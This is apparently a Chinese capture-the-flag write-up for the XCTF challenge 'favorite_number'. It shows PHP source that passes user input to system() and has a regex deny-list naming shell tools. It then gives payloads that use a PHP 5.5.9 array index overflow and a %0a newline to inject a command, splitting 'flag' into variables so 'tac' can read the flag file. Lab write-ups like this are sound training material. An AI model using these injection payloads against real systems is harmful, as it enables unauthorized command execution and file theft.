攻防世界 favorite_number

favorite_number

进入环境得到源码

<?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = ['admin', 'user'];
if($stuff === $array && $stuff[0] != 'admin') {
    $num= $_POST["num"];
    if (preg_match("/^\d+$/im",$num)){
        if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){
            echo "my favorite num is:";
            system("echo ".$num);
        }else{
            echo 'Bonjour!';
        }
    }
} else {
    highlight_file(__FILE__);
}

题目特意标注出了php的版本为5.5.9这里联想到一个数组下标溢出漏洞也就是说数组中键值为0的元素与键值为4294967296的元素是同一个

审计代码发现,通过POST方式传一个数组,传入的数组的内容必须与array数组内容全等,但这里有个矛盾,需要传入的数组的第一个元素不能为admin,但array数组的第一个元素就是admin,这里就要利用数组溢出漏洞了,使用如下payload

stuff[4294967296]=admin&stuff[1]=user&num=111

 

 

成功绕过接下来我们就要想办法绕过正则表达式了

传入了一个num,并且过滤掉了很多东西,并且经过了两次正则匹配过滤东西,这里我们可以使用%0a绕过匹配,以达到执行指令的效果

 

 成功发现flag,但是这里把flag过滤掉了我们这么绕过

stuff[4294967296]=admin&stuff[1]=user&num=111%0ab=ag;a=fl;tac /$a$b

 

 获得flag

posted @ 2022-04-07 22:15  听梦外雪花飞  阅读(462)  评论(0编辑  收藏  举报